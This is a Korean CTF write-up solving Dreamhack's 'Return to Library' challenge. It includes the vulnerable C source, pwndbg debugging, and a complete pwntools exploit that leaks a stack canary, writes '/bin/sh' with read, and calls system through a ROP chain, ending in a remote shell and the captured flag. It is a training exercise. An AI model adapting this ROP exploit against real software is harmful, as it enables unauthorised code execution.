dreamhack - Return to Library writeup
[dreamhack] Return to Library writeup
1. 문제

Exploit Tech: Return to Library에서 실습하는 문제입니다.
https://dreamhack.io/wargame/challenges/3532. 풀이
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
system
함수를 plt
테이블에 넣기 위한 호출 코드가 있고, 그뒤 canary
를 leak할 수 있는 기회를 준다.
그리고 리턴 주소를 덮어씌울 수 있다.
우선 system
함수를 plt
테이블에 넣기 위해서는 코드에서 반드시 한번 호출해야한다. 그렇지 않으면 아예 libc
에서 직접 주소를 구해와야하는데 다행히 그런 문제는 아니다.
그리고 no PIE
이므로 주소들이 다 고정되어있다. 사실상 이전에 풀었던 64비트 ROP와 동일하게 푸는 문제이다.
처음에는 아래와 같이 stage를 구성했다.
- 1.
buf
에 충분히 채워서%s
출력을 통해canary
leak - 2. 이미
"/bin/sh"
문자열이 존재하는 주소가 있으므로, 이를 이용해서system("/bin/sh")
실행
그런데 실제로 exploit을 작성하고 실행해보니 아래와 같은 결과가 발생하면서 안되길래 뭐지하면서 binsh
변수에 들은 값을 봤다.
ubuntu@instance-20250406-1126:~/dreamhack/level2/Return_to_Library$ python3 e_rtl.py
[+] Starting local process './rtl': pid 2304369
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/Return_to_Library/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Buf: ")
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("b")
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Buf: ")
[*] Switching to interactive mode
sh: 1: t\x08@: not found
pwndbg> p &binsh
$1 = (<data variable, no debug info> *) 0x601058 <binsh>
pwndbg> x/10s 0x601058
0x601058 <binsh>: "t\b@"
0x60105c <binsh+4>: ""
0x60105d <binsh+5>: ""
0x60105e <binsh+6>: ""
0x60105f <binsh+7>: ""
0x601060 <stdout@@GLIBC_2.2.5>: ""
0x601061 <stdout@@GLIBC_2.2.5+1>: ""
0x601062 <stdout@@GLIBC_2.2.5+2>: ""
0x601063 <stdout@@GLIBC_2.2.5+3>: ""
0x601064 <stdout@@GLIBC_2.2.5+4>: ""
????????
갑자기 이상한 “t\b@” 같은 문자가 들어있었다. 그래서 실행이 안되는거였고…
그래서 해당 위치에 내가 직접 쓸 수 있을까해서 vmmap
을 통해 확인했고 다행히 해당 영역은 write
권한이 있었다.
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r-xp 1000 0 rtl
0x600000 0x601000 r--p 1000 0 rtl
0x601000 0x602000 rw-p 1000 1000 rtl
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7c28000 0x7ffff7db0000 r-xp 188000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7db0000 0x7ffff7dff000 r--p 4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7dff000 0x7ffff7e03000 r--p 4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e03000 0x7ffff7e05000 rw-p 2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7ffff7e05000 0x7ffff7e12000 rw-p d000 0 [anon_7ffff7e05]
0x7ffff7fb2000 0x7ffff7fb5000 rw-p 3000 0 [anon_7ffff7fb2]
0x7ffff7fbd000 0x7ffff7fbf000 rw-p 2000 0 [anon_7ffff7fbd]
0x7ffff7fbf000 0x7ffff7fc3000 r--p 4000 0 [vvar]
0x7ffff7fc3000 0x7ffff7fc5000 r-xp 2000 0 [vdso]
0x7ffff7fc5000 0x7ffff7fc6000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7fc6000 0x7ffff7ff1000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff1000 0x7ffff7ffb000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp 1000 0 [vsyscall]
그래서 위의 stage 구성을 약간 변경해서 해당 영역에 먼저 쓰고, 그다음에 system
함수를 호출하는 것으로 했다.
- 1.
buf
에 충분히 채워서%s
출력을 통해canary
leak - 2.
read
함수를 실행시켜서binsh
변수에"/bin/sh"
를 입력 - 3.
이미이를 이용해서"/bin/sh"
문자열이 존재하는 주소가 있으므로,system("/bin/sh")
실행
아래와 같이 exploit을 작성하였다. 작성할때 stack alignment
때문에 ret
를 하나 넣어줬다.
from pwn import *
p = process("./rtl")
p = remote("host3.dreamhack.games", 19069)
elf = ELF("./rtl")
pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x400851
ret = 0x400596
system_plt = 0x4005d0
read_plt = 0x4005f0
binsh_addr = 0x601058
# 1. leak canary
p.recvuntil("Buf: ")
p.send(b"a" * 56 + b'b')
p.recvuntil("b")
canary = u64(b"\x00" + p.recv(7))
# 2. write binsh in binsh variable
p.recvuntil("Buf: ")
payload = b''
payload += b'a' * 56
payload += p64(canary)
payload += b'b' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(0x0) # rdi
payload += p64(pop_rsi_r15)
payload += p64(binsh_addr) # rsi
payload += p64(0x0) # r15
payload += p64(read_plt)
# 3. system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_plt)
p.send(payload)
p.send(b"/bin/sh")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Return_to_Library$ python3 e_rtl.py
[+] Starting local process './rtl': pid 2304829
[+] Opening connection to host3.dreamhack.games on port 19069: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/Return_to_Library/rtl'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Buf: ")
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("b")
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("Buf: ")
[*] Switching to interactive mode
$ id
uid=1000(rtl) gid=1000(rtl) groups=1000(rtl)
$ cat flag
DH{13e0d0ddf0c71c0ac4410687c11e6b00}
elf.plt
가 안먹히길래 elf.plt.keys()
를 출력했더니 아무것도 없었다…
그래서 elf.symbols.keys()
를 출력했더니 함수들이 다 보이길래 elf.symbols["system"]
이렇게 해봤는데 system@got.plt
의 위치가 나온다.
해결~